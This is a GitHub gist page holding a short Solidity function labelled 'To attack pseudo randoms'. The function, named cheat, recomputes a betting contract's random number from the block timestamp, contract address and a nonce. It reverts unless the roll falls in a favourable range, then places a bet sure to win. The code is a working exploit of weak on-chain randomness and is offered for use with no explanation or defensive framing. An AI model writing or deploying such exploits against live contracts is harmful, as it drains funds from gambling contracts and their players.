Skip to content

Instantly share code, notes, and snippets.

@bertolo1988
Last active September 6, 2019 00:09
Show Gist options
  • Save bertolo1988/870315c7287212344f21182af0e48d9c to your computer and use it in GitHub Desktop.
Save bertolo1988/870315c7287212344f21182af0e48d9c to your computer and use it in GitHub Desktop.
To attack pseudo randoms.
function cheat(uint nonce, uint256 amount) external returns (uint stakeInput, uint spinUnderInput, uint spin, uint payout, uint prize, uint previousBalance, uint newBalance) {
uint randomnumber = uint(keccak256(abi.encodePacked(now, address(this), nonce))) % 100;
require(randomnumber >= 11, "rolled number too low");
require(randomnumber <= 89, "rolled number too high");
return instance.bet(amount, (randomnumber + 2));
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment